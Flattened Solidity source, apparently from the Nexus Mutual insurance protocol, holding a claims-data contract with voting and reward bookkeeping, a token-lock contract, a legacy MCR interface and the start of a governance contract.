function accumulateReward(address contractAddress, uint amount) external;
function pushBurn(address contractAddress, uint amount) external;
function hasPendingActions() external view returns (bool);
function processPendingActions(uint maxIterations) external returns (bool finished);
function contractStake(address contractAddress) external view returns (uint);
function stakerReward(address staker) external view returns (uint);
function stakerDeposit(address staker) external view returns (uint);
function stakerContractStake(address staker, address contractAddress) external view returns (uint);
function withdraw(uint amount) external;
function stakerMaxWithdrawable(address stakerAddress) external view returns (uint);
function withdrawReward(address stakerAddress) external;
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../abstract/Iupgradable.sol";
contract ClaimsData is Iupgradable {
using SafeMath for uint;
struct Claim {
uint coverId;
uint dateUpd;
}
struct Vote {
address voter;
uint tokens;
uint claimId;
int8 verdict;
bool rewardClaimed;
}
struct ClaimsPause {
uint coverid;
uint dateUpd;
bool submit;
}
struct ClaimPauseVoting {
uint claimid;
uint pendingTime;
bool voting;
}
struct RewardDistributed {
uint lastCAvoteIndex;
uint lastMVvoteIndex;
}
struct ClaimRewardDetails {
uint percCA;
uint percMV;
uint tokenToBeDist;
}
struct ClaimTotalTokens {
uint accept;
uint deny;
}
struct ClaimRewardStatus {
uint percCA;
uint percMV;
}
ClaimRewardStatus[] internal rewardStatus;
Claim[] internal allClaims;
Vote[] internal allvotes;
ClaimsPause[] internal claimPause;
ClaimPauseVoting[] internal claimPauseVotingEP;
mapping(address => RewardDistributed) internal voterVoteRewardReceived;
mapping(uint => ClaimRewardDetails) internal claimRewardDetail;
mapping(uint => ClaimTotalTokens) internal claimTokensCA;
mapping(uint => ClaimTotalTokens) internal claimTokensMV;
mapping(uint => int8) internal claimVote;
mapping(uint => uint) internal claimsStatus;
mapping(uint => uint) internal claimState12Count;
mapping(uint => uint[]) internal claimVoteCA;
mapping(uint => uint[]) internal claimVoteMember;
mapping(address => uint[]) internal voteAddressCA;
mapping(address => uint[]) internal voteAddressMember;
mapping(address => uint[]) internal allClaimsByAddress;
mapping(address => mapping(uint => uint)) internal userClaimVoteCA;
mapping(address => mapping(uint => uint)) internal userClaimVoteMember;
mapping(address => uint) public userClaimVotePausedOn;
uint internal claimPauseLastsubmit;
uint internal claimStartVotingFirstIndex;
uint public pendingClaimStart;
uint public claimDepositTime;
uint public maxVotingTime;
uint public minVotingTime;
uint public payoutRetryTime;
uint public claimRewardPerc;
uint public minVoteThreshold;
uint public maxVoteThreshold;
uint public majorityConsensus;
uint public pauseDaysCA;
event ClaimRaise(
uint indexed coverId,
address indexed userAddress,
uint claimId,
uint dateSubmit
);
event VoteCast(
address indexed userAddress,
uint indexed claimId,
bytes4 indexed typeOf,
uint tokens,
uint submitDate,
int8 verdict
);
constructor() public {
pendingClaimStart = 1;
maxVotingTime = 48 * 1 hours;
minVotingTime = 12 * 1 hours;
payoutRetryTime = 24 * 1 hours;
allvotes.push(Vote(address(0), 0, 0, 0, false));
allClaims.push(Claim(0, 0));
claimDepositTime = 7 days;
claimRewardPerc = 20;
minVoteThreshold = 5;
maxVoteThreshold = 10;
majorityConsensus = 70;
pauseDaysCA = 3 days;
_addRewardIncentive();
}
/**
* @dev Updates the pending claim start variable,
* the lowest claim id with a pending decision/payout.
*/
function setpendingClaimStart(uint _start) external onlyInternal {
require(pendingClaimStart <= _start);
pendingClaimStart = _start;
}
/**
* @dev Updates the max vote index for which claim assessor has received reward
* @param _voter address of the voter.
* @param caIndex last index till which reward was distributed for CA
*/
function setRewardDistributedIndexCA(address _voter, uint caIndex) external onlyInternal {
voterVoteRewardReceived[_voter].lastCAvoteIndex = caIndex;
}
/**
* @dev Used to pause claim assessor activity for 3 days
* @param user Member address whose claim voting ability needs to be paused
*/
function setUserClaimVotePausedOn(address user) external {
require(ms.checkIsAuthToGoverned(msg.sender));
userClaimVotePausedOn[user] = now;
}
/**
* @dev Updates the max vote index for which member has received reward
* @param _voter address of the voter.
* @param mvIndex last index till which reward was distributed for member
*/
function setRewardDistributedIndexMV(address _voter, uint mvIndex) external onlyInternal {
voterVoteRewardReceived[_voter].lastMVvoteIndex = mvIndex;
}
/**
* @param claimid claim id.
* @param percCA reward Percentage reward for claim assessor
* @param percMV reward Percentage reward for members
* @param tokens total tokens to be rewarded
*/
function setClaimRewardDetail(
uint claimid,
uint percCA,
uint percMV,
uint tokens
)
external
onlyInternal
{
claimRewardDetail[claimid].percCA = percCA;
claimRewardDetail[claimid].percMV = percMV;
claimRewardDetail[claimid].tokenToBeDist = tokens;
}
/**
* @dev Sets the reward claim status against a vote id.
* @param _voteid vote Id.
* @param claimed true if reward for vote is claimed, else false.
*/
function setRewardClaimed(uint _voteid, bool claimed) external onlyInternal {
allvotes[_voteid].rewardClaimed = claimed;
}
/**
* @dev Sets the final vote's result(either accepted or declined)of a claim.
* @param _claimId Claim Id.
* @param _verdict 1 if claim is accepted,-1 if declined.
*/
function changeFinalVerdict(uint _claimId, int8 _verdict) external onlyInternal {
claimVote[_claimId] = _verdict;
}
/**
* @dev Creates a new claim.
*/
function addClaim(
uint _claimId,
uint _coverId,
address _from,
uint _nowtime
)
external
onlyInternal
{
allClaims.push(Claim(_coverId, _nowtime));
allClaimsByAddress[_from].push(_claimId);
}
/**
* @dev Add Vote's details of a given claim.
*/
function addVote(
address _voter,
uint _tokens,
uint claimId,
int8 _verdict
)
external
onlyInternal
{
allvotes.push(Vote(_voter, _tokens, claimId, _verdict, false));
}
/**
* @dev Stores the id of the claim assessor vote given to a claim.
* Maintains record of all votes given by all the CA to a claim.
* @param _claimId Claim Id to which vote has given by the CA.
* @param _voteid Vote Id.
*/
function addClaimVoteCA(uint _claimId, uint _voteid) external onlyInternal {
claimVoteCA[_claimId].push(_voteid);
}
/**
* @dev Sets the id of the vote.
* @param _from Claim assessor's address who has given the vote.
* @param _claimId Claim Id for which vote has been given by the CA.
* @param _voteid Vote Id which will be stored against the given _from and claimid.
*/
function setUserClaimVoteCA(
address _from,
uint _claimId,
uint _voteid
)
external
onlyInternal
{
userClaimVoteCA[_from][_claimId] = _voteid;
voteAddressCA[_from].push(_voteid);
}
/**
* @dev Stores the tokens locked by the Claim Assessors during voting of a given claim.
* @param _claimId Claim Id.
* @param _vote 1 for accept and increases the tokens of claim as accept,
* -1 for deny and increases the tokens of claim as deny.
* @param _tokens Number of tokens.
*/
function setClaimTokensCA(uint _claimId, int8 _vote, uint _tokens) external onlyInternal {
if (_vote == 1)
claimTokensCA[_claimId].accept = claimTokensCA[_claimId].accept.add(_tokens);
if (_vote == - 1)
claimTokensCA[_claimId].deny = claimTokensCA[_claimId].deny.add(_tokens);
}
/**
* @dev Stores the tokens locked by the Members during voting of a given claim.
* @param _claimId Claim Id.
* @param _vote 1 for accept and increases the tokens of claim as accept,
* -1 for deny and increases the tokens of claim as deny.
* @param _tokens Number of tokens.
*/
function setClaimTokensMV(uint _claimId, int8 _vote, uint _tokens) external onlyInternal {
if (_vote == 1)
claimTokensMV[_claimId].accept = claimTokensMV[_claimId].accept.add(_tokens);
if (_vote == - 1)
claimTokensMV[_claimId].deny = claimTokensMV[_claimId].deny.add(_tokens);
}
/**
* @dev Stores the id of the member vote given to a claim.
* Maintains record of all votes given by all the Members to a claim.
* @param _claimId Claim Id to which vote has been given by the Member.
* @param _voteid Vote Id.
*/
function addClaimVotemember(uint _claimId, uint _voteid) external onlyInternal {
claimVoteMember[_claimId].push(_voteid);
}
/**
* @dev Sets the id of the vote.
* @param _from Member's address who has given the vote.
* @param _claimId Claim Id for which vote has been given by the Member.
* @param _voteid Vote Id which will be stored against the given _from and claimid.
*/
function setUserClaimVoteMember(
address _from,
uint _claimId,
uint _voteid
)
external
onlyInternal
{
userClaimVoteMember[_from][_claimId] = _voteid;
voteAddressMember[_from].push(_voteid);
}
/**
* @dev Increases the count of failure until payout of a claim is successful.
*/
function updateState12Count(uint _claimId, uint _cnt) external onlyInternal {
claimState12Count[_claimId] = claimState12Count[_claimId].add(_cnt);
}
/**
* @dev Sets status of a claim.
* @param _claimId Claim Id.
* @param _stat Status number.
*/
function setClaimStatus(uint _claimId, uint _stat) external onlyInternal {
claimsStatus[_claimId] = _stat;
}
/**
* @dev Sets the timestamp of a given claim at which the Claim's details has been updated.
* @param _claimId Claim Id of claim which has been changed.
* @param _dateUpd timestamp at which claim is updated.
*/
function setClaimdateUpd(uint _claimId, uint _dateUpd) external onlyInternal {
allClaims[_claimId].dateUpd = _dateUpd;
}
/**
@dev Queues Claims during Emergency Pause.
*/
function setClaimAtEmergencyPause(
uint _coverId,
uint _dateUpd,
bool _submit
)
external
onlyInternal
{
claimPause.push(ClaimsPause(_coverId, _dateUpd, _submit));
}
/**
* @dev Set submission flag for Claims queued during emergency pause.
* Set to true after EP is turned off and the claim is submitted .
*/
function setClaimSubmittedAtEPTrue(uint _index, bool _submit) external onlyInternal {
claimPause[_index].submit = _submit;
}
/**
* @dev Sets the index from which claim needs to be
* submitted when emergency pause is swithched off.
*/
function setFirstClaimIndexToSubmitAfterEP(
uint _firstClaimIndexToSubmit
)
external
onlyInternal
{
claimPauseLastsubmit = _firstClaimIndexToSubmit;
}
/**
* @dev Sets the pending vote duration for a claim in case of emergency pause.
*/
function setPendingClaimDetails(
uint _claimId,
uint _pendingTime,
bool _voting
)
external
onlyInternal
{
claimPauseVotingEP.push(ClaimPauseVoting(_claimId, _pendingTime, _voting));
}
/**
* @dev Sets voting flag true after claim is reopened for voting after emergency pause.
*/
function setPendingClaimVoteStatus(uint _claimId, bool _vote) external onlyInternal {
claimPauseVotingEP[_claimId].voting = _vote;
}
/**
* @dev Sets the index from which claim needs to be
* reopened when emergency pause is swithched off.
*/
function setFirstClaimIndexToStartVotingAfterEP(
uint _claimStartVotingFirstIndex
)
external
onlyInternal
{
claimStartVotingFirstIndex = _claimStartVotingFirstIndex;
}
/**
* @dev Calls Vote Event.
*/
function callVoteEvent(
address _userAddress,
uint _claimId,
bytes4 _typeOf,
uint _tokens,
uint _submitDate,
int8 _verdict
)
external
onlyInternal
{
emit VoteCast(
_userAddress,
_claimId,
_typeOf,
_tokens,
_submitDate,
_verdict
);
}
/**
* @dev Calls Claim Event.
*/
function callClaimEvent(
uint _coverId,
address _userAddress,
uint _claimId,
uint _datesubmit
)
external
onlyInternal
{
emit ClaimRaise(_coverId, _userAddress, _claimId, _datesubmit);
}
/**
* @dev Gets Uint Parameters by parameter code
* @param code whose details we want
* @return string value of the parameter
* @return associated amount (time or perc or value) to the code
*/
function getUintParameters(bytes8 code) external view returns (bytes8 codeVal, uint val) {
codeVal = code;
if (code == "CAMAXVT") {
val = maxVotingTime / (1 hours);
} else if (code == "CAMINVT") {
val = minVotingTime / (1 hours);
} else if (code == "CAPRETRY") {
val = payoutRetryTime / (1 hours);
} else if (code == "CADEPT") {
val = claimDepositTime / (1 days);
} else if (code == "CAREWPER") {
val = claimRewardPerc;
} else if (code == "CAMINTH") {
val = minVoteThreshold;
} else if (code == "CAMAXTH") {
val = maxVoteThreshold;
} else if (code == "CACONPER") {
val = majorityConsensus;
} else if (code == "CAPAUSET") {
val = pauseDaysCA / (1 days);
}
}
/**
* @dev Get claim queued during emergency pause by index.
*/
function getClaimOfEmergencyPauseByIndex(
uint _index
)
external
view
returns (
uint coverId,
uint dateUpd,
bool submit
)
{
coverId = claimPause[_index].coverid;
dateUpd = claimPause[_index].dateUpd;
submit = claimPause[_index].submit;
}
/**
* @dev Gets the Claim's details of given claimid.
*/
function getAllClaimsByIndex(
uint _claimId
)
external
view
returns (
uint coverId,
int8 vote,
uint status,
uint dateUpd,
uint state12Count
)
{
return (
allClaims[_claimId].coverId,
claimVote[_claimId],
claimsStatus[_claimId],
allClaims[_claimId].dateUpd,
claimState12Count[_claimId]
);
}
/**
* @dev Gets the vote id of a given claim of a given Claim Assessor.
*/
function getUserClaimVoteCA(
address _add,
uint _claimId
)
external
view
returns (uint idVote)
{
return userClaimVoteCA[_add][_claimId];
}
/**
* @dev Gets the vote id of a given claim of a given member.
*/
function getUserClaimVoteMember(
address _add,
uint _claimId
)
external
view
returns (uint idVote)
{
return userClaimVoteMember[_add][_claimId];
}
/**
* @dev Gets the count of all votes.
*/
function getAllVoteLength() external view returns (uint voteCount) {
return allvotes.length.sub(1); // Start Index always from 1.
}
/**
* @dev Gets the status number of a given claim.
* @param _claimId Claim id.
* @return statno Status Number.
*/
function getClaimStatusNumber(uint _claimId) external view returns (uint claimId, uint statno) {
return (_claimId, claimsStatus[_claimId]);
}
/**
* @dev Gets the reward percentage to be distributed for a given status id
* @param statusNumber the number of type of status
* @return percCA reward Percentage for claim assessor
* @return percMV reward Percentage for members
*/
function getRewardStatus(uint statusNumber) external view returns (uint percCA, uint percMV) {
return (rewardStatus[statusNumber].percCA, rewardStatus[statusNumber].percMV);
}
/**
* @dev Gets the number of tries that have been made for a successful payout of a Claim.
*/
function getClaimState12Count(uint _claimId) external view returns (uint num) {
num = claimState12Count[_claimId];
}
/**
* @dev Gets the last update date of a claim.
*/
function getClaimDateUpd(uint _claimId) external view returns (uint dateupd) {
dateupd = allClaims[_claimId].dateUpd;
}
/**
* @dev Gets all Claims created by a user till date.
* @param _member user's address.
* @return claimarr List of Claims id.
*/
function getAllClaimsByAddress(address _member) external view returns (uint[] memory claimarr) {
return allClaimsByAddress[_member];
}
/**
* @dev Gets the number of tokens that has been locked
* while giving vote to a claim by Claim Assessors.
* @param _claimId Claim Id.
* @return accept Total number of tokens when CA accepts the claim.
* @return deny Total number of tokens when CA declines the claim.
*/
function getClaimsTokenCA(
uint _claimId
)
external
view
returns (
uint claimId,
uint accept,
uint deny
)
{
return (
_claimId,
claimTokensCA[_claimId].accept,
claimTokensCA[_claimId].deny
);
}
/**
* @dev Gets the number of tokens that have been
* locked while assessing a claim as a member.
* @param _claimId Claim Id.
* @return accept Total number of tokens in acceptance of the claim.
* @return deny Total number of tokens against the claim.
*/
function getClaimsTokenMV(
uint _claimId
)
external
view
returns (
uint claimId,
uint accept,
uint deny
)
{
return (
_claimId,
claimTokensMV[_claimId].accept,
claimTokensMV[_claimId].deny
);
}
/**
* @dev Gets the total number of votes cast as Claims assessor for/against a given claim
*/
function getCaClaimVotesToken(uint _claimId) external view returns (uint claimId, uint cnt) {
claimId = _claimId;
cnt = 0;
for (uint i = 0; i < claimVoteCA[_claimId].length; i++) {
cnt = cnt.add(allvotes[claimVoteCA[_claimId][i]].tokens);
}
}
/**
* @dev Gets the total number of tokens cast as a member for/against a given claim
*/
function getMemberClaimVotesToken(
uint _claimId
)
external
view
returns (uint claimId, uint cnt)
{
claimId = _claimId;
cnt = 0;
for (uint i = 0; i < claimVoteMember[_claimId].length; i++) {
cnt = cnt.add(allvotes[claimVoteMember[_claimId][i]].tokens);
}
}
/**
* @dev Provides information of a vote when given its vote id.
* @param _voteid Vote Id.
*/
function getVoteDetails(uint _voteid)
external view
returns (
uint tokens,
uint claimId,
int8 verdict,
bool rewardClaimed
)
{
return (
allvotes[_voteid].tokens,
allvotes[_voteid].claimId,
allvotes[_voteid].verdict,
allvotes[_voteid].rewardClaimed
);
}
/**
* @dev Gets the voter's address of a given vote id.
*/
function getVoterVote(uint _voteid) external view returns (address voter) {
return allvotes[_voteid].voter;
}
/**
* @dev Provides information of a Claim when given its claim id.
* @param _claimId Claim Id.
*/
function getClaim(
uint _claimId
)
external
view
returns (
uint claimId,
uint coverId,
int8 vote,
uint status,
uint dateUpd,
uint state12Count
)
{
return (
_claimId,
allClaims[_claimId].coverId,
claimVote[_claimId],
claimsStatus[_claimId],
allClaims[_claimId].dateUpd,
claimState12Count[_claimId]
);
}
/**
* @dev Gets the total number of votes of a given claim.
* @param _claimId Claim Id.
* @param _ca if 1: votes given by Claim Assessors to a claim,
* else returns the number of votes of given by Members to a claim.
* @return len total number of votes for/against a given claim.
*/
function getClaimVoteLength(
uint _claimId,
uint8 _ca
)
external
view
returns (uint claimId, uint len)
{
claimId = _claimId;
if (_ca == 1)
len = claimVoteCA[_claimId].length;
else
len = claimVoteMember[_claimId].length;
}
/**
* @dev Gets the verdict of a vote using claim id and index.
* @param _ca 1 for vote given as a CA, else for vote given as a member.
* @return ver 1 if vote was given in favour,-1 if given in against.
*/
function getVoteVerdict(
uint _claimId,
uint _index,
uint8 _ca
)
external
view
returns (int8 ver)
{
if (_ca == 1)
ver = allvotes[claimVoteCA[_claimId][_index]].verdict;
else
ver = allvotes[claimVoteMember[_claimId][_index]].verdict;
}
/**
* @dev Gets the Number of tokens of a vote using claim id and index.
* @param _ca 1 for vote given as a CA, else for vote given as a member.
* @return tok Number of tokens.
*/
function getVoteToken(
uint _claimId,
uint _index,
uint8 _ca
)
external
view
returns (uint tok)
{
if (_ca == 1)
tok = allvotes[claimVoteCA[_claimId][_index]].tokens;
else
tok = allvotes[claimVoteMember[_claimId][_index]].tokens;
}
/**
* @dev Gets the Voter's address of a vote using claim id and index.
* @param _ca 1 for vote given as a CA, else for vote given as a member.
* @return voter Voter's address.
*/
function getVoteVoter(
uint _claimId,
uint _index,
uint8 _ca
)
external
view
returns (address voter)
{
if (_ca == 1)
voter = allvotes[claimVoteCA[_claimId][_index]].voter;
else
voter = allvotes[claimVoteMember[_claimId][_index]].voter;
}
/**
* @dev Gets total number of Claims created by a user till date.
* @param _add User's address.
*/
function getUserClaimCount(address _add) external view returns (uint len) {
len = allClaimsByAddress[_add].length;
}
/**
* @dev Calculates number of Claims that are in pending state.
*/
function getClaimLength() external view returns (uint len) {
len = allClaims.length.sub(pendingClaimStart);
}
/**
* @dev Gets the Number of all the Claims created till date.
*/
function actualClaimLength() external view returns (uint len) {
len = allClaims.length;
}
/**
* @dev Gets details of a claim.
* @param _index claim id = pending claim start + given index
* @param _add User's address.
* @return coverid cover against which claim has been submitted.
* @return claimId Claim Id.
* @return voteCA verdict of vote given as a Claim Assessor.
* @return voteMV verdict of vote given as a Member.
* @return statusnumber Status of claim.
*/
function getClaimFromNewStart(
uint _index,
address _add
)
external
view
returns (
uint coverid,
uint claimId,
int8 voteCA,
int8 voteMV,
uint statusnumber
)
{
uint i = pendingClaimStart.add(_index);
coverid = allClaims[i].coverId;
claimId = i;
if (userClaimVoteCA[_add][i] > 0)
voteCA = allvotes[userClaimVoteCA[_add][i]].verdict;
else
voteCA = 0;
if (userClaimVoteMember[_add][i] > 0)
voteMV = allvotes[userClaimVoteMember[_add][i]].verdict;
else
voteMV = 0;
statusnumber = claimsStatus[i];
}
/**
* @dev Gets details of a claim of a user at a given index.
*/
function getUserClaimByIndex(
uint _index,
address _add
)
external
view
returns (
uint status,
uint coverid,
uint claimId
)
{
claimId = allClaimsByAddress[_add][_index];
status = claimsStatus[claimId];
coverid = allClaims[claimId].coverId;
}
/**
* @dev Gets Id of all the votes given to a claim.
* @param _claimId Claim Id.
* @return ca id of all the votes given by Claim assessors to a claim.
* @return mv id of all the votes given by members to a claim.
*/
function getAllVotesForClaim(
uint _claimId
)
external
view
returns (
uint claimId,
uint[] memory ca,
uint[] memory mv
)
{
return (_claimId, claimVoteCA[_claimId], claimVoteMember[_claimId]);
}
/**
* @dev Gets Number of tokens deposit in a vote using
* Claim assessor's address and claim id.
* @return tokens Number of deposited tokens.
*/
function getTokensClaim(
address _of,
uint _claimId
)
external
view
returns (
uint claimId,
uint tokens
)
{
return (_claimId, allvotes[userClaimVoteCA[_of][_claimId]].tokens);
}
/**
* @param _voter address of the voter.
* @return lastCAvoteIndex last index till which reward was distributed for CA
* @return lastMVvoteIndex last index till which reward was distributed for member
*/
function getRewardDistributedIndex(
address _voter
)
external
view
returns (
uint lastCAvoteIndex,
uint lastMVvoteIndex
)
{
return (
voterVoteRewardReceived[_voter].lastCAvoteIndex,
voterVoteRewardReceived[_voter].lastMVvoteIndex
);
}
/**
* @param claimid claim id.
* @return perc_CA reward Percentage for claim assessor
* @return perc_MV reward Percentage for members
* @return tokens total tokens to be rewarded
*/
function getClaimRewardDetail(
uint claimid
)
external
view
returns (
uint percCA,
uint percMV,
uint tokens
)
{
return (
claimRewardDetail[claimid].percCA,
claimRewardDetail[claimid].percMV,
claimRewardDetail[claimid].tokenToBeDist
);
}
/**
* @dev Gets cover id of a claim.
*/
function getClaimCoverId(uint _claimId) external view returns (uint claimId, uint coverid) {
return (_claimId, allClaims[_claimId].coverId);
}
/**
* @dev Gets total number of tokens staked during voting by Claim Assessors.
* @param _claimId Claim Id.
* @param _verdict 1 to get total number of accept tokens, -1 to get total number of deny tokens.
* @return token token Number of tokens(either accept or deny on the basis of verdict given as parameter).
*/
function getClaimVote(uint _claimId, int8 _verdict) external view returns (uint claimId, uint token) {
claimId = _claimId;
token = 0;
for (uint i = 0; i < claimVoteCA[_claimId].length; i++) {
if (allvotes[claimVoteCA[_claimId][i]].verdict == _verdict)
token = token.add(allvotes[claimVoteCA[_claimId][i]].tokens);
}
}
/**
* @dev Gets total number of tokens staked during voting by Members.
* @param _claimId Claim Id.
* @param _verdict 1 to get total number of accept tokens,
* -1 to get total number of deny tokens.
* @return token token Number of tokens(either accept or
* deny on the basis of verdict given as parameter).
*/
function getClaimMVote(uint _claimId, int8 _verdict) external view returns (uint claimId, uint token) {
claimId = _claimId;
token = 0;
for (uint i = 0; i < claimVoteMember[_claimId].length; i++) {
if (allvotes[claimVoteMember[_claimId][i]].verdict == _verdict)
token = token.add(allvotes[claimVoteMember[_claimId][i]].tokens);
}
}
/**
* @param _voter address of voteid
* @param index index to get voteid in CA
*/
function getVoteAddressCA(address _voter, uint index) external view returns (uint) {
return voteAddressCA[_voter][index];
}
/**
* @param _voter address of voter
* @param index index to get voteid in member vote
*/
function getVoteAddressMember(address _voter, uint index) external view returns (uint) {
return voteAddressMember[_voter][index];
}
/**
* @param _voter address of voter
*/
function getVoteAddressCALength(address _voter) external view returns (uint) {
return voteAddressCA[_voter].length;
}
/**
* @param _voter address of voter
*/
function getVoteAddressMemberLength(address _voter) external view returns (uint) {
return voteAddressMember[_voter].length;
}
/**
* @dev Gets the Final result of voting of a claim.
* @param _claimId Claim id.
* @return verdict 1 if claim is accepted, -1 if declined.
*/
function getFinalVerdict(uint _claimId) external view returns (int8 verdict) {
return claimVote[_claimId];
}
/**
* @dev Get number of Claims queued for submission during emergency pause.
*/
function getLengthOfClaimSubmittedAtEP() external view returns (uint len) {
len = claimPause.length;
}
/**
* @dev Gets the index from which claim needs to be
* submitted when emergency pause is swithched off.
*/
function getFirstClaimIndexToSubmitAfterEP() external view returns (uint indexToSubmit) {
indexToSubmit = claimPauseLastsubmit;
}
/**
* @dev Gets number of Claims to be reopened for voting post emergency pause period.
*/
function getLengthOfClaimVotingPause() external view returns (uint len) {
len = claimPauseVotingEP.length;
}
/**
* @dev Gets claim details to be reopened for voting after emergency pause.
*/
function getPendingClaimDetailsByIndex(
uint _index
)
external
view
returns (
uint claimId,
uint pendingTime,
bool voting
)
{
claimId = claimPauseVotingEP[_index].claimid;
pendingTime = claimPauseVotingEP[_index].pendingTime;
voting = claimPauseVotingEP[_index].voting;
}
/**
* @dev Gets the index from which claim needs to be reopened when emergency pause is swithched off.
*/
function getFirstClaimIndexToStartVotingAfterEP() external view returns (uint firstindex) {
firstindex = claimStartVotingFirstIndex;
}
/**
* @dev Updates Uint Parameters of a code
* @param code whose details we want to update
* @param val value to set
*/
function updateUintParameters(bytes8 code, uint val) public {
require(ms.checkIsAuthToGoverned(msg.sender));
if (code == "CAMAXVT") {
_setMaxVotingTime(val * 1 hours);
} else if (code == "CAMINVT") {
_setMinVotingTime(val * 1 hours);
} else if (code == "CAPRETRY") {
_setPayoutRetryTime(val * 1 hours);
} else if (code == "CADEPT") {
_setClaimDepositTime(val * 1 days);
} else if (code == "CAREWPER") {
_setClaimRewardPerc(val);
} else if (code == "CAMINTH") {
_setMinVoteThreshold(val);
} else if (code == "CAMAXTH") {
_setMaxVoteThreshold(val);
} else if (code == "CACONPER") {
_setMajorityConsensus(val);
} else if (code == "CAPAUSET") {
_setPauseDaysCA(val * 1 days);
} else {
revert("Invalid param code");
}
}
/**
* @dev Iupgradable Interface to update dependent contract address
*/
function changeDependentContractAddress() public onlyInternal {}
/**
* @dev Adds status under which a claim can lie.
* @param percCA reward percentage for claim assessor
* @param percMV reward percentage for members
*/
function _pushStatus(uint percCA, uint percMV) internal {
rewardStatus.push(ClaimRewardStatus(percCA, percMV));
}
/**
* @dev adds reward incentive for all possible claim status for Claim assessors and members
*/
function _addRewardIncentive() internal {
_pushStatus(0, 0); // 0 Pending-Claim Assessor Vote
_pushStatus(0, 0); // 1 Pending-Claim Assessor Vote Denied, Pending Member Vote
_pushStatus(0, 0); // 2 Pending-CA Vote Threshold not Reached Accept, Pending Member Vote
_pushStatus(0, 0); // 3 Pending-CA Vote Threshold not Reached Deny, Pending Member Vote
_pushStatus(0, 0); // 4 Pending-CA Consensus not reached Accept, Pending Member Vote
_pushStatus(0, 0); // 5 Pending-CA Consensus not reached Deny, Pending Member Vote
_pushStatus(100, 0); // 6 Final-Claim Assessor Vote Denied
_pushStatus(100, 0); // 7 Final-Claim Assessor Vote Accepted
_pushStatus(0, 100); // 8 Final-Claim Assessor Vote Denied, MV Accepted
_pushStatus(0, 100); // 9 Final-Claim Assessor Vote Denied, MV Denied
_pushStatus(0, 0); // 10 Final-Claim Assessor Vote Accept, MV Nodecision
_pushStatus(0, 0); // 11 Final-Claim Assessor Vote Denied, MV Nodecision
_pushStatus(0, 0); // 12 Claim Accepted Payout Pending
_pushStatus(0, 0); // 13 Claim Accepted No Payout
_pushStatus(0, 0); // 14 Claim Accepted Payout Done
}
/**
* @dev Sets Maximum time(in seconds) for which claim assessment voting is open
*/
function _setMaxVotingTime(uint _time) internal {
maxVotingTime = _time;
}
/**
* @dev Sets Minimum time(in seconds) for which claim assessment voting is open
*/
function _setMinVotingTime(uint _time) internal {
minVotingTime = _time;
}
/**
* @dev Sets Minimum vote threshold required
*/
function _setMinVoteThreshold(uint val) internal {
minVoteThreshold = val;
}
/**
* @dev Sets Maximum vote threshold required
*/
function _setMaxVoteThreshold(uint val) internal {
maxVoteThreshold = val;
}
/**
* @dev Sets the value considered as Majority Consenus in voting
*/
function _setMajorityConsensus(uint val) internal {
majorityConsensus = val;
}
/**
* @dev Sets the payout retry time
*/
function _setPayoutRetryTime(uint _time) internal {
payoutRetryTime = _time;
}
/**
* @dev Sets percentage of reward given for claim assessment
*/
function _setClaimRewardPerc(uint _val) internal {
claimRewardPerc = _val;
}
/**
* @dev Sets the time for which claim is deposited.
*/
function _setClaimDepositTime(uint _time) internal {
claimDepositTime = _time;
}
/**
* @dev Sets number of days claim assessment will be paused
*/
function _setPauseDaysCA(uint val) internal {
pauseDaysCA = val;
}
}
pragma solidity ^0.5.0;
/**
* @title ERC1132 interface
* @dev see https://github.com/ethereum/EIPs/issues/1132
*/
contract LockHandler {
/**
* @dev Reasons why a user's tokens have been locked
*/
mapping(address => bytes32[]) public lockReason;
/**
* @dev locked token structure
*/
struct LockToken {
uint256 amount;
uint256 validity;
bool claimed;
}
/**
* @dev Holds number & validity of tokens locked for a given reason for
* a specified address
*/
mapping(address => mapping(bytes32 => LockToken)) public locked;
}
pragma solidity ^0.5.0;
interface LegacyMCR {
function addMCRData(uint mcrP, uint mcrE, uint vF, bytes4[] calldata curr, uint[] calldata _threeDayAvg, uint64 onlyDate) external;
function addLastMCRData(uint64 date) external;
function changeDependentContractAddress() external;
function getAllSumAssurance() external view returns (uint amount);
function _calVtpAndMCRtp(uint poolBalance) external view returns (uint vtp, uint mcrtp);
function calculateStepTokenPrice(bytes4 curr, uint mcrtp) external view returns (uint tokenPrice);
function calculateTokenPrice(bytes4 curr) external view returns (uint tokenPrice);
function calVtpAndMCRtp() external view returns (uint vtp, uint mcrtp);
function calculateVtpAndMCRtp(uint poolBalance) external view returns (uint vtp, uint mcrtp);
function getThresholdValues(uint vtp, uint vF, uint totalSA, uint minCap) external view returns (uint lowerThreshold, uint upperThreshold);
function getMaxSellTokens() external view returns (uint maxTokens);
function getUintParameters(bytes8 code) external view returns (bytes8 codeVal, uint val);
function updateUintParameters(bytes8 code, uint val) external;
function variableMincap() external view returns (uint);
function dynamicMincapThresholdx100() external view returns (uint);
function dynamicMincapIncrementx100() external view returns (uint);
function getLastMCREther() external view returns (uint);
}
// /* Copyright (C) 2017 GovBlocks.io
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../token/TokenController.sol";
import "./MemberRoles.sol";
import "./ProposalCategory.sol";
import "./external/IGovernance.sol";
contract Governance is IGovernance, Iupgradable {
using SafeMath for uint;
enum ProposalStatus {
Draft,
AwaitingSolution,
VotingStarted,
Accepted,
Rejected,
Majority_Not_Reached_But_Accepted,
Denied
}
struct ProposalData {
uint propStatus;
uint finalVerdict;
uint category;
uint commonIncentive;
uint dateUpd;
address owner;
}
struct ProposalVote {
address voter;
uint proposalId;
uint dateAdd;
}
struct VoteTally {
mapping(uint => uint) memberVoteValue;
